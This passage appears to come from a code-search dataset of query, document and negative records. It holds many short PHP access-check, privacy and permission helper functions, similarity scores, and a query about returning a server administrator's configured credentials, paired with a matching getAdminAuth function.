(!$this->_is_dir_writable(WPO_CACHE_DIR)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (file_exists(WPO_CACHE_CONFIG_DIR)) {\n\t\t\t\tif (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "private function isMyServer(): bool {\n\t\ttry {\n\t\t\treturn Server::singleton($this->application)->id() === $this->memberInteger('server');\n\t\t} catch (Throwable) {\n\t\t\treturn false;\n\t\t}\n\t}", "public static function hasAccess(): bool\n {\n return in_array(Helper::getClientIP(), self::$ips);\n }", "function check_environmet()\n{\n $SandboxFile = dirname(__DIR__) . '/sandbox_server.txt';\n if (file_exists($SandboxFile)) {\n return 0;\n } else {\n return 1;\n }\n}", "public function isPublic()\n {\n $allowsAllHosts = false;\n $allowsRListings = false;\n foreach ($this->rules as $rule) {\n if (self::READ & $rule['mask']) {\n if (!empty($rule['rlistings'])) {\n $allowsRListings = true;\n } elseif (!empty($rule['host']) && trim($rule['host']) == '*') {\n $allowsAllHosts = true;\n }\n }\n }\n\n return $allowsAllHosts && $allowsRListings;\n }", "private function portalIsReadOnly() {\n $configServ = new \\org\\gocdb\\services\\Config();\n return $configServ->IsPortalReadOnly();\n }", "function check_access() {\n if (!get_site()) {\n return true; // no access check before site is fully set up\n }\n $context = empty($this->context) ? get_context_instance(CONTEXT_SYSTEM) : $this->context;\n foreach($this->req_capability as $cap) {\n if (is_valid_capability($cap) and has_capability($cap, $context)) {\n return true;\n }\n }\n return false;\n }", "public function isProvisioned() {\n\t\tif(is_file($this->sites_available_path . $this->sitename)){\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function isPrivate()\n\t{\n\t\t//return ($this->get('private') == self::PRIVACY_PRIVATE);\n\t\treturn ($this->get('access') == 5);\n\t}", "public function isFileExistsRemotely();", "public static function isAdministration()\n {\n $permissions = [\"Vice direzione\", \"Direzione\"];\n return in_array($_SESSION[\"permission\"], $permissions);\n }", "public function hasServerPrivateIpAddr()\n {\n return $this->server_private_ip_addr !== null;\n }", "public function hasAccess() : bool\n\t{\n\t\t$ip = Server::getIP();\n\t\t$access = false;\n\n\t\t// Allow local access\n\t\tif ( Stringify::contains(['127.0.0.1','::1'], $ip) ) {\n\t\t\t$access = true;\n\n\t\t} else {\n\n\t\t\t// Check allowed IPs\n\t\t\t$allowed = $this->applyFilter('access-allowed-ip', $this->getAllowedAccess());\n\t\t\tif ( !empty($allowed) ) {\n\t\t\t\tif ( Stringify::contains($allowed, $ip) ) {\n\t\t\t\t\t$access = true;\n\n\t\t\t\t} else {\n\t\t\t\t\t$access = false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t// Deny access\n\t\t\t\t$denied = $this->applyFilter('access-denied-ip', $this->getDeniedAccess());\n\t\t\t\tif ( Stringify::contains($denied, $ip) ) {\n\t\t\t\t\t$access = false;\n\n\t\t\t\t} else {\n\t\t\t\t\t$access = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$data = ['ip' => $ip, 'access' => $access];\n\t\t$this->doAction('ip-access', $data);\n\t\treturn $access;\n\t}", "public function hasDirectory(): bool;", "public function hasDirectory(): bool;", "public function isPrivate()\n {\n if ($this->getAccessType() === self::ACCESS_ON_DEMAND) {\n return true;\n }\n\n return false;\n }", "function cemhub_check_htaccess_in_private_system_path($set_message = TRUE) {\n $is_created = FALSE;\n\n $file_private_path = variable_get('file_private_path', FALSE);\n if ($file_private_path) {\n file_create_htaccess('private://', TRUE);\n\n if (file_exists($file_private_path . '/.htaccess')) {\n $is_created = TRUE;\n }\n elseif ($set_message) {\n drupal_set_message(t(\"Security warning: Couldn't write .htaccess file.\"), 'warning');\n }\n }\n\n return $is_created;\n}", "public function isInstalled(Server $server): bool;", "public function has_server( $key ) \n\t{\n\t\treturn array_key_exists( strtoupper($key), $this->SERVER );\n\t}", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "protected function is_private()\n {\n }", "public static function manageLocally()\n {\n return false;\n }", "protected function _verifyConfiguration() {\n if (!empty($this->_storageDirectory) &&\n is_dir($this->_storageDirectory) &&\n is_readable($this->_storageDirectory) &&\n is_writeable($this->_storageDirectory)) {\n $lastChar = substr($this->_storageDirectory, -1);\n if ($lastChar == '/' ||\n $lastChar == DIRECTORY_SEPARATOR) {\n $this->_storageDirectory = substr($this->_storageDirectory, 0, -1);\n }\n return TRUE;\n }\n return FALSE;\n }", "public function isForServer()\n {\n return $this->server !== null;\n }", "public function isPublicResource(): bool {\n // Long enough\n return count($this->elements) >= 2\n // Inside public directory\n && $this->startsWith(new self(App::getConfig('app.publicDir')))\n // Is readable file\n && $this->prepend(App::getRootDir())->isReadableFile();\n }", "protected function isInAdministration()\n\t{\n\t\treturn (bool) $GLOBALS['tree']->isGrandChild(SYSTEM_FOLDER_ID,$this->getCurrentObject()->getRefId());\n\t}", "protected function checkAccess() {\n // Check that processing is enabled on the site.\n if (!variable_get('hiro_process_data', TRUE)) {\n $this->logger->addRow('Processing data is disabled, exiting.', WATCHDOG_WARNING);\n $this->logger->send();\n return FALSE;\n }\n return TRUE;\n }", "function check_catalogs_and_permissions()\n {\n $error_folder_stack = array();\n $error = false;\n $check_folders = array('/cache/compile', '/cache/upl', '/img/data', '/img/data/user');\n\n foreach ($check_folders as $folder) {\n if (!is_writable(SITEBILL_DOCUMENT_ROOT . $folder)) {\n $error_folder_stack[] = SITEBILL_DOCUMENT_ROOT . $folder;\n $error = true;\n }\n }\n if ($error) {\n $this->initSitebill();\n $this->sitebill->riseError($this->folder_not_writeble . '<br>' . implode('<br>', $error_folder_stack));\n return false;\n }\n return true;\n }", "public function userAliasesDirectoryExist()\n {\n return file_exists($this->getUserAliasesPath())?:false;\n }", "public function isAvailable() {\n $path = $this->path();\n return file_exists($path);\n }", "private function isRoot()\n {\n if (isset($_SERVER['SERVER_SOFTWARE']) && preg_match('/(Development Server)/i', $_SERVER['SERVER_SOFTWARE']) && ($_SERVER['REQUEST_URI'] === '/'))\n {\n return true;\n }\n else if(($_SERVER['REQUEST_URI'] === '/') || count(slashExploder($_SERVER['REQUEST_URI'])) === 1)\n {\n return true;\n }\n\n return false;\n }", "public function isRoot() {\n\t\t//die($this->host );\n\t\treturn $this->host == ''; //|| count($rdns) <=2;\n\t}", "public function isPrivateKeyExist(): bool\n {\n return $this->isFileExistAndReadable($this->privateKey->getKeyPath());\n }", "public function checkAccess()\n {\n // need to be modified for security\n }", "function configfile_readable() {\n\t\treturn is_readable(CLASSPATH . \"payment/\".__CLASS__.\".cfg.php\");\n\t}", "public function isAccessible() {\n\t\tif ($this->hasAccessRestrictions() === FALSE) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif ($this->securityContext->canBeInitialized() === FALSE) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tforeach ($this->accessRoles as $roleName) {\n\t\t\tif ($this->securityContext->hasRole($roleName)) {\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\treturn FALSE;\n\t}", "function check_access() {\n foreach ($this->children as $child) {\n if ($child->check_access()) {\n return true;\n }\n }\n return false;\n }", "public function isValid () {\n\treturn (is_dir($this->getPath())) ? true : false;\n }", "public function isRoot(): bool{ return $this->rootClient; }", "function access() {\n\t\treturn true;\n\t}", "function test_config()\n{\n\treturn is_writable('includes/config.php');\n}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public function checkAccess() {}", "public static function allowServerStatus()\n\t{\n\t\treturn MHTTPD::$config['Admin']['allow_server_status'];\n\t}", "private function canRun()\n {\n $confEnabled = $this->config()->get('cdn_rewrite');\n $devEnabled = ((!Director::isDev()) || ($this->config()->get('enable_in_dev')));\n return ($confEnabled && $devEnabled);\n }", "public function is_private() {\n\n\t\t/**\n\t\t * If the post is of post_type \"revision\", we need to access the parent of the Post\n\t\t * so that we can check access rights of the parent post. Revision access is inherit\n\t\t * to the Parent it is a revision of.\n\t\t */\n\t\tif ( isset( $this->data->post_type ) && 'revision' === $this->data->post_type ) {\n\n\t\t\t// Get the post\n\t\t\t$parent_post = get_post( $this->data->post_parent );\n\n\t\t\t// If the parent post doesn't exist, the revision should be considered private\n\t\t\tif ( ! $parent_post instanceof WP_Post ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t// Determine if the revision is private using capabilities relative to the parent\n\t\t\treturn $this->is_post_private( $parent_post );\n\n\t\t}\n\n\t\t/**\n\t\t * Media Items (attachments) are all public. Once uploaded to the media library\n\t\t * they are exposed with a public URL on the site.\n\t\t *\n\t\t * The WP REST API sets media items to private if they don't have a `post_parent` set, but\n\t\t * this has broken production apps, because media items can be uploaded directly to the\n\t\t * media library and published as a featured image, published inline within content, or\n\t\t * within a Gutenberg block, etc, but then a consumer tries to ask for data of a published\n\t\t * image and REST returns nothing because the media item is treated as private.\n\t\t *\n\t\t * Currently, we're treating all media items as public because there's nothing explicit in\n\t\t * how WP Core handles privacy of media library items. By default they're publicly exposed.\n\t\t */\n\t\tif ( 'attachment' === $this->data->post_type ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t/**\n\t\t * Published content is public, not private\n\t\t */\n\t\tif ( 'publish' === $this->data->post_status ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $this->is_post_private( $this->data );\n\t}", "public function isPrivate(): bool;", "protected function isFullCredentialsPathFindable($fullCredentialsPath){\n if (false === is_file($fullCredentialsPath)){\n return FALSE;\n }\n return TRUE;\n }", "public function is_private()\n {\n }", "public function is_private()\n {\n }", "public function is_private()\n {\n }", "protected function isDirectory() {}", "public function shouldCheckHttpHost()\n {\n return !Director::is_cli() && isset($_SERVER['HTTP_HOST']);\n }", "function is_pppoe_server_enabled() {\n\t$pppoeenable = false;\n\n\tforeach (config_get_path('pppoes/pppoe', []) as $pppoes) {\n\t\tif ($pppoes['mode'] == 'server') {\n\t\t\t$pppoeenable = true;\n\t\t}\n\t}\n\n\treturn $pppoeenable;\n}", "public function hasAccess(): bool;", "public function access() {\n if ( ! isset($GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['dbname']) ) {\n return false;\n }\n return true;\n }", "public function has_access() { \n\n\t\tif (!Access::check('interface','25')) { \n\t\t\treturn false; \n\t\t} \n\t\tif ($this->user == $GLOBALS['user']->id) { \n\t\t\treturn true; \n\t\t} \n\t\telse {\n\t\t\treturn Access::check('interface','100'); \n\t\t} \t\n\n\t\treturn false; \n\n\t}", "public function localFileExists()\n {\n return file_exists($this->GetRealPath());\n }", "public function hasUpgradesDir()\n {\n return is_readable($this->getUpgradesPath());\n }", "public function hasServerKey()\n {\n return $this->server_key !== null;\n }", "protected function hasPrivateKey() {}", "public function hasSecHandler() {}", "function check_permissions($dirs) {\n\tglobal $install_errors;\n\tforeach ($dirs as $dir) {\n\t\tif(!is_writable($dir)) {\n\t\t\t$install_errors[] = 'No write permission in <code>'.absolute_to_relative($dir).'</code> directory.';\n\t\t}\n\t}\n\tif(count($install_errors)==0) return true;\n}", "public function isPrivate(): bool\n {\n return $this->node->isPrivate();\n }", "public function isPrivate(): bool\n {\n return $this->node->isPrivate();\n }", "public function is_accessible() {\n $available = $this->properties->available;\n $deadline = $this->properties->deadline;\n return (($available == 0 || time() >= $available) && ($deadline == 0 || time() < $deadline));\n }", "function has_sysadmin_privs($acct_info = '') {\n if($acct_info == '') {\n global $user_info;\n $acct_info = $user_info;\n }\n return $this->GetGidBit($acct_info['gidflags'], 'system_admin_privileges');\n}", "public function isDirectoryCopyAllowed() {}", "public function testPrivs()\n {\n return true; ///< Every client sees only it's own information\n }", "public function checkAccess()\n {\n $list = $this->getPages();\n\n /**\n * Settings controller is available directly if the $page request variable is provided\n * if the $page is omitted, the controller must be the subclass of Settings main one.\n *\n * The inner $page variable must be in the getPages() array\n */\n return parent::checkAccess()\n && isset($list[$this->page])\n && (\n ($this instanceof \\XLite\\Controller\\Admin\\Settings && isset(\\XLite\\Core\\Request::getInstance()->page))\n || is_subclass_of($this, '\\XLite\\Controller\\Admin\\Settings')\n );\n }", "public static function uses_permissions(): bool;", "static function access(){\n return onapp_has_permission(array('hypervisors', 'hypervisors.read'));\n }", "function neosIsInstalled(): bool\n{\n return test('[ -f {{deploy_path}}/shared/Configuration/Settings.yaml ]');\n}", "public function isDemoDumpAvailable()\n {\n $result = self::checkFileAccess(Registry::get('config.dir.install') . App::DB_DEMO);\n\n if (!$result) {\n $app = App::instance();\n $app->setNotification('E', $app->t('error'), $app->t('demo_dump_is_not_available'), true);\n }\n\n return $result;\n }", "protected static function fileIsAccessible($path)\n {\n }", "public function isAccessible()\n {\n return $this->isPublished();\n }", "public function exist()\n {\n return is_dir($this->location) && file_exists($this->location);\n }" ]
[ "0.6809828", "0.65296084", "0.6342331", "0.6276821", "0.62746143", "0.6253011", "0.62135607", "0.62121934", "0.61839813", "0.61316526", "0.6075743", "0.60223395", "0.60146224", "0.5998739", "0.5982526", "0.5981365", "0.5957552", "0.5944099", "0.59306145", "0.5923289", "0.5894015", "0.58917356", "0.5878721", "0.58410054", "0.5798996", "0.5798996", "0.577658", "0.57579035", "0.57499367", "0.5740835", "0.5737591", "0.5737591", "0.5737591", "0.5737591", "0.5737591", "0.5737591", "0.5737591", "0.5737591", "0.57352936", "0.5724661", "0.57217896", "0.5715978", "0.5707213", "0.56964594", "0.5695883", "0.5672288", "0.5664197", "0.56637025", "0.5652866", "0.5647233", "0.56308067", "0.5630596", "0.5621849", "0.5587621", "0.55822796", "0.55806285", "0.5560791", "0.5559978", "0.55573857", "0.55573857", "0.55573857", "0.5557321", "0.5557321", "0.5556796", "0.5556796", "0.5556796", "0.55537117", "0.5551417", "0.5549729", "0.5548223", "0.5546632", "0.5538348", "0.5538348", "0.5538348", "0.5530015", "0.55239975", "0.5523966", "0.5523624", "0.5522585", "0.55208725", "0.5517553", "0.55140555", "0.54981685", "0.5493749", "0.54925644", "0.54801893", "0.5476654", "0.5476654", "0.5469656", "0.54684013", "0.5466616", "0.54658157", "0.5464289", "0.5463668", "0.5460042", "0.5456481", "0.54507506", "0.54503447", "0.5448781", "0.54411274" ]
0.63997537
2
Returns the configured user information for the server administrator.
public static function getAdminAuth() { if (empty(MHTTPD::$config['Admin']['admin_user'])) { return false; } return array( 'realm' => 'server admin', 'user' => MHTTPD::$config['Admin']['admin_user'], 'pass' => MHTTPD::$config['Admin']['admin_pass'], ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function getUser() {\n return self::$ADMIN_USER;\n }", "public function getAdminUser()\n {\n return $this->registry->registry('current_admin_user');\n }", "public function getAdminUser()\n {\n $user = array(\n 'username' => $this->getConfiguration()->getValue('testing.magento.admin.user'),\n 'password' => $this->getConfiguration()->getValue('testing.magento.admin.password')\n );\n\n if ($user['username'] == null) {\n $user['username'] = $this->defaultLogin['username'];\n }\n if ($user['password'] == null) {\n $user['password'] = $this->defaultLogin['password'];\n }\n return $user;\n }", "public function getAdminUser()\n {\n $user = array(\n 'username' => $this->getConfiguration()->getValue('testing.magento.admin.user'),\n 'password' => $this->getConfiguration()->getValue('testing.magento.admin.password')\n );\n\n if ($user['username'] == null) {\n $user['username'] = $this->defaultLogin['username'];\n }\n if ($user['password'] == null) {\n $user['password'] = $this->defaultLogin['password'];\n }\n return $user;\n }", "private function getUserInfo()\n\t{\n\t\t$user = Sentry::user();\n\t\t$result = array(\n\t\t\t'username' => $user->get('username'),\n\t\t\t'isAdmin' => $user->in_group('admin'),\n\t\t);\n\t\treturn $result;\n\t}", "public function getUserInfo()\n {\n return $this->_process('user/info')->user;\n }", "function userAdmin( )\n {\n return $this->UserAdmin ;\n }", "public function getAdministrator() {}", "public function getApiUser()\n {\n return Mage::getStoreConfig('magebridge/settings/api_user');\n }", "private function get_user_info() {\n $user_info = $this->_api_call('https://api.twitter.com/1.1/account/settings.json');\n return $user_info;\n }", "protected function getUser()\n {\n return $this->loadUser(array(\n 'user_name' => $this->context['admin'],\n ));\n }", "public function user()\n {\n return $this->app->auth->guard('admin')->user();\n }", "public function getUserInfo()\n {\n\n if (empty($this->_user))\n return '';\n\n $userInfo = $this->_user;\n\n if (!empty($this->_password))\n $userInfo .= \":{$this->_password}\";\n\n return $userInfo;\n }", "public function getUserInformation()\n {\n return $this->userInformation;\n }", "public function user()\n\t{\n\t\treturn $this->config('email');\n\t}", "function get_user()\r\n {\r\n return $this->get_default_property(self :: PROPERTY_USER);\r\n }", "function get_user()\r\n {\r\n return $this->get_default_property(self :: PROPERTY_USER);\r\n }", "public function getCurrentUserConfig();", "public static function getAdminUser()\n {\n return User::find(1);\n }", "public function getUserAdmin()\n {\n if ($this->user->isOnline()) {\n return '<div class=\"user-block\">\n\t\t\t\t\t<img class=\"img-circle\" src=\"' . $this->user->avatar_square_tiny . '\" alt=\"User Image\">\n\t\t\t\t\t<span class=\"username\"><a href=\"' . $this->user->url .'\" target=\"_blank\">' . $this->user->name . '</a></span>\n\t\t\t\t\t<span class=\"description\"><i class=\"fa fa-circle text-success\"></i> Online</span>\n\t\t\t\t</div>';\n } else {\n return '<div class=\"user-block\">\n\t\t\t\t\t\t<img class=\"img-circle\" src=\"' . $this->user->avatar_square_tiny . '\" alt=\"User Image\">\n\t\t\t\t\t\t<span class=\"username\"><a href=\"' . $this->user->url .'\" target=\"_blank\">' . $this->user->name . '</a></span>\n\t\t\t\t\t\t<span class=\"description\"><i class=\"fa fa-circle text-danger\"></i> Offline</span>\n\t\t\t\t\t</div>';\n }\n }", "private function getUserInfo()\n {\n // TODO This could be cached\n return $this->userInfoApi->getUserInfo();\n }", "public function getLogged()\n {\n $user = \\Auth::user();\n return $this->repo->getAdministrator(\n $user\n );\n }", "function admin_user_id()\n {\n return Admin::app()->auth()->id();\n }", "public function getUserInfo()\n {\n return $this->userInfo;\n }", "public function getUserInfo()\n {\n return $this->userInfo;\n }", "public function getUserInfo()\n {\n return $this->userInfo;\n }", "public function getUserInfo() {\n\n if (empty($this->uriParts['user'])) {\n return '';\n }\n $val = $this->uriParts['user'];\n\n if (!empty($this->uriParts['pass'])) {\n $val .= ':' . $this->uriParts['pass'];\n }\n return $val;\n }", "public function getAdminAttribute()\n {\n return User::whereId($this->accountId)->first();\n }", "public function getUserInfo() {\n\t\t$session = Yii::$app->session;\n\t\t$session->open();\n\t\t$session->regenerateID();\n\t\t\n\t\treturn $session['accountInfo'];\n\t}", "function admin_user(): ?Authenticatable\n {\n return Admin::app()->user();\n }", "public function getUser()\n\t{\n\t\treturn $this->config('email');\n\t}", "public function getUsername()\r\n\t{\r\n\t\treturn $this->admin['user'];\r\n\t}", "public function getUser()\n {\n if ($this->_user === null) {\n $this->_user = Admin::findByUsernameOrEmail($this->username);\n }\n\n return $this->_user;\n }", "protected function getUserInfo()\n {\n return [\n \"channel\" => self::getSdkChannel(),\n \"uid\" => $this->request_param[\"user_id\"],\n \"server_id\" => $this->request_param[\"server_id\"],\n \"role_id\" => is_null($this->role_id)?\"?\":$this->role_id,\n ];\n }", "public function getAdmin()\n {\n $database = new Database();\n $loggedIn = $database->getAdminByUsername($_SESSION['user']);\n $admin = new Admin($loggedIn['adminId'], $loggedIn['username'], $loggedIn['adminLevel'], $loggedIn['active']);\n if(isset($_SESSION['user']) === true) {\n $this->_f3->set('admin', $admin);\n }\n }", "public function getAdministrator() {\n\n return database::getInstance()->select('staff',\"*\");\n\n\n }", "protected function getBackendUserAuthentication()\n {\n return $GLOBALS['BE_USER'];\n }", "protected function getBackendUserAuthentication()\n {\n return $GLOBALS['BE_USER'];\n }", "public function getAdminConfig()\r\n\t{\r\n\t\t$data = array(\r\n\t\t\t\t\"name\"\t\t\t=> t( 'themer.admin.config.title' ),\r\n\t\t\t\t\"version\"\t\t=> \"@fileVers@\",\r\n\t\t\t\t\"author\"\t\t=> t( 'themer.admin.config.author' ),\r\n\t\t\t\t\"description\"\t=> t( 'themer.admin.config.description' ),\r\n\t\t\t\t\"language\"\t\t=> \"english\",\r\n\t\t\t\t\"fields\"\t\t=> array()\r\n\t\t);\r\n\t\t\r\n\t\treturn $data;\r\n\t}", "function getAccess() {\n\t\t$workspace\t=\t$this->getWorkspace();\n\t\treturn $workspace->get(_JEM_USER_);\n\t}", "public function getUser()\n {\n return $this->get(self::_USER);\n }", "public function getUser()\n {\n return $this->get(self::_USER);\n }", "public function getUser()\n {\n return $this->get(self::_USER);\n }", "public function getUser()\n {\n return $this->get(self::_USER);\n }", "public static function user ()\n {\n return self::$user;\n }", "protected function getBackendUser() {\n\t\treturn $GLOBALS['BE_USER'];\n\t}", "function getUserInfo()\n {\n return $this->userinfo;\n }", "public function index_get()\n {\n return $this->lib_rest_users->getLoggedUser();\n }", "protected function getBackendUser()\n {\n return $GLOBALS['BE_USER'];\n }", "protected function getBackendUser()\n {\n return $GLOBALS['BE_USER'];\n }", "protected function getBackendUser()\n {\n return $GLOBALS['BE_USER'];\n }", "public static function getUser()\n {\n return self::getInstance()->_getUser();\n }", "protected function getFrontendBackendUser()\n {\n return $GLOBALS['BE_USER'];\n }", "protected function getUser() {\n return $this->getSecurityManager()->getUser();\n }", "public function getUsername()\n {\n return $this->getConfig('username');\n }", "public function user()\n {\n return $this->la->user();\n }", "public function httpUser()\n\t{\n\t\treturn $this->server('PHP_AUTH_USER');\n\t}", "function getAdmin() {\n if (auth()->guard('staff')->check()) {\n // Check if the auth user is a staff => get the admin id\n $project_id = auth()->guard('staff')->user()->project_id;\n $project = App\\Models\\Project::where('id', $project_id)->first();\n // We already have a relationship between the User and the Project models\n $user = $project->user;\n } else {\n $user = auth()->user();\n }\n return $user;\n }", "public static function admins()\n {\n return User::all()->where('idpapel', 1)->where('stusuario', 'ati')->toArray();\n }", "public function getSenhaAdmin(){\n\t\t\treturn $this-> senha_admin;\n\t\t}", "private function get_admins_info() {\n $stm=$this->uSup->get_com_admins_to_notify_about_requests(\"user_id\",$this->company_id);\n\n $q_user_id=\"(1=0 \";\n /** @noinspection PhpUndefinedMethodInspection */\n while($admin=$stm->fetch(PDO::FETCH_OBJ)) {\n $q_user_id.=\" OR u235_users.user_id='\".$admin->user_id.\"' \";\n }\n $q_user_id.=\")\";\n try {\n /** @noinspection PhpUndefinedMethodInspection */\n $stm=$this->uFunc->pdo(\"uAuth\")->prepare(\"SELECT DISTINCT\n firstname,\n secondname,\n email\n FROM\n u235_users\n JOIN \n u235_usersinfo\n ON\n u235_users.user_id=u235_usersinfo.user_id AND\n u235_usersinfo.status=u235_users.status\n WHERE\n \" .$q_user_id. \" AND \n u235_users.status='active' AND\n u235_usersinfo.site_id=:site_id\n \");\n $site_id=site_id;\n /** @noinspection PhpUndefinedMethodInspection */$stm->bindParam(':site_id', $site_id,PDO::PARAM_INT);\n /** @noinspection PhpUndefinedMethodInspection */$stm->execute();\n }\n catch(PDOException $e) {$this->uFunc->error('120'/*.$e->getMessage()*/);}\n\n return $stm;\n }", "public function getUserSys()\n {\n return $this->__user__;\n }", "public function getAdminEmail();", "public function getAccountSettings() {\n\t\t\n\t\treturn $this->_getResponse(self::URL_USERS_SETTING);\n\t}", "public function get_userInfo()\n {\n return $this->call_method(\"get/userInfo\",\n array()\n );\n }", "public function user()\n {\n return $this->luser;\n }", "public function getAdminConfig()\r\n\t{\r\n\t\t$data = array(\r\n\t\t\t\t\"name\"\t\t\t=> t( 'intouch.addon.title' ),\r\n\t\t\t\t\"version\"\t\t=> \"@fileVers@\",\r\n\t\t\t\t\"author\"\t\t=> t( 'intouch.addon.author' ),\r\n\t\t\t\t\"description\"\t=> t( 'intouch.addon.description' ),\r\n\t\t\t\t\"language\"\t\t=> \"english\",\r\n\t\t\t\t\"logo\"\t\t\t=> get_baseurl( 'intouch' ) . 'assets/in_touch-48.png',\r\n\t\t\t\t\"fields\"\t\t=> array()\r\n\t\t);\r\n\t\t\r\n\t\treturn $data;\r\n\t}", "private function getAdminEmail()\n {\n return sfConfig::get('app_rt_registration_admin_email', sfConfig::get('app_rt_admin_email'));\n }", "public function getAdmin()\n {\n return $this->admin;\n }", "public function administration()\n {\n\t\t// user connecter\n\t\tif (!$this->isUserConnected()) {\n\t\t\theader('Location: '.BASE_URL);\n\t\t\treturn ;\n\t\t}\n\t\t// user admin\n\t\tif ($this->getUserInfo('droit') != 'ARW' && $this->getUserInfo('droit') != 'MASTER') {\n\t\t\theader('Location: '.BASE_URL);\n\t\t\treturn ;\n\t\t}\n\n $this->loadModel('user');\n\n $result = $this->getModel()->getAllUsersInfos();\n\n\t\t$arrobj = new ArrayObject($result);\n for($i = $arrobj->getIterator(); $i->valid(); $i->next())\n {\n \t$usersInfos[] = array(\n \t\t'subject' => $i->current()->subject->getUri(),\n \t\t'pseudo' => $i->current()->pseudo->getValue(),\n \t\t'givenName' => $this->getModel()->getUserInfo($i->current()->pseudo->getValue(), 'givenName'),\n \t\t'familyName' => $this->getModel()->getUserInfo($i->current()->pseudo->getValue(), 'familyName'),\n \t\t'droit' => $i->current()->droit->getValue()\n \t\t);\n }\n\n \t$this->set('userPseudo', $this->getUserInfo('pseudo'));\n\n \t$this->set('usersInfos', $usersInfos);\n\n // On set la variable a afficher sur dans la vue\n $this->set('title', 'Administration des utilisateurs');\n // On fait le rendu de la vue signup.php\n $this->render('adminUser');\n }", "protected function _user() {\n return $this->_adapter_user->user();\n }", "function getAdministrators() {\n\t\tif (is_null($this->admin_users)) {\n\t\t\t$this->admin_users = array();\n\t\t\t$sql = 'SELECT * FROM '.prefix('administrators').' ORDER BY `rights` DESC, `id`';\n\t\t\t$admins = query_full_array($sql, true);\n\t\t\tif ($admins !== false) {\n\t\t\t\tforeach($admins as $user) {\n\t\t\t\t\tif (array_key_exists('password', $user)) { // transition code!\n\t\t\t\t\t\t$user['pass'] = $user['password'];\n\t\t\t\t\t\tunset($user['password']);\n\t\t\t\t\t}\n\t\t\t\t\tif (!array_key_exists('valid', $user)) { // transition code!\n\t\t\t\t\t\t$user['valid'] = 1;\n\t\t\t\t\t}\n\t\t\t\t\t$this->admin_users[$user['id']] = $user;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $this->admin_users;\n\t}", "function AdminUsers_settings() \n\t{\n\t\t/*\tPut your settings here\n\t\t\tCan not be removed\n\t\t*/\n\t\t$settings = array(\t\"name\" => \"AdminUsers\",\t\t\t// Name of module\n\t\t\t\t\t\t\t\"version\" => \"0.1\",\t\t\t\t// Module version\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Describe your module in max 60 characters\n\t\t\t\t\t\t\t\"description\" => \"Used to manage users.\",\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\"author\" => \"Tobias Nyström\",\t// Module's author (you!)\n\t\t\t\t\t\t\t\"adminonly\" => 1);\t\t\t// Set to 1 if it is a module only for the admins\n\t\treturn $settings;\n\t}", "public static function getUser() \n\t{\n\t\tacPhpCas::setReporting();\n\t\treturn phpCAS::getUser();\t\t\n\t}", "function get_admin_email() {\n return $this->admin_email;\n }", "public function getBackendUser() {}", "function backend_user()\n {\n return app('nodes.backend.auth')->getUser();\n }", "public function indexAdmin ()\n {\n $listOfUsers = $this->userRequest->usersIndexForAdmin();\n return $listOfUsers;\n }", "public function getUserInfo() {}", "public function getUserName()\n {\n return $this->config['username']; \n }", "public static function get_admin_users(){\n \n global $db;\n \n $query = \"SELECT * FROM users \";\n $query .= \"WHERE user_role = 'admin'\";\n \n $result = User::makeQuery($query);\n \n return $result;\n }", "public function userAuthClass()\n {\n return Yii::$app->adminuser;\n }", "public function getAdmin() {\n $sql = \"SELECT *\n FROM {$this->tablename} p\n WHERE p.status='admin'\";\n return $this->db->query($sql)->single($this->entity);\n }", "private function getUser()\n {\n return $this->user->getUser();\n }", "public function getAdminEmail() {\n return $this->scopeConfig->getValue ( static::XML_ADMIN_EMAILS, ScopeInterface::SCOPE_STORE );\n }", "public function getAdmin() {\n \n return $this->admin;\n }", "public function me()\n {\n $user = auth('api')->user();\n //Append roles\n $user->roles = auth('api')->user()->getRoleNames()->toArray();\n\n return $this->response->item($user, new AdminUserTransformer());\n }", "function userGroupAdmin( )\n {\n return $this->UserGroupAdmin;\n }", "protected function setupAdminUser()\n {\n $GLOBALS['current_user'] = \\BeanFactory::getBean('Users')->getSystemUser();\n }", "function backendUser() {\n\treturn BackendAuth::getUser();\n }", "public function get_user_info()\n\t{\n\t\tif ( function_exists('wp_remote_get') ) {\n\t\t\t$json = wp_remote_get($this->API_URL . '?username='. $this->user);\n\t\t\t$user_info = @json_decode($json['body'], true);\n\t\t} else {\n\t\t\t$json = @file_get_contents($this->API_URL . '?username='. $this->user);\n\t\t\t$user_info = @json_decode($json, true);\n\t\t}\n\t\t\n\t\treturn $user_info['resp'];\n\t}", "public function getUserInfo()\r\n {\r\n return self::makeCall('getUserInfo', array(), null, false, $this->sessionID);\r\n }", "public function getUserData()\n {\n return $this->file->get(self::SETTING_USER_DATA);\n }", "function LoggedIn() {\n\t\treturn $this->Get('UserDetails');\n\t}", "public function getInfo()\n {\n if(Sentry::check())\n {\n $user = Sentry::getUser();\n $data = $this->app->json([\n \"username\" => $user->first_name,\n \"password\" => \" \",\n \"email\" => $user->email\n ]);\n return $data;\n } else {\n return false;\n }\n }", "public function user()\n {\n return $this->context-> getUser();\n }", "public function 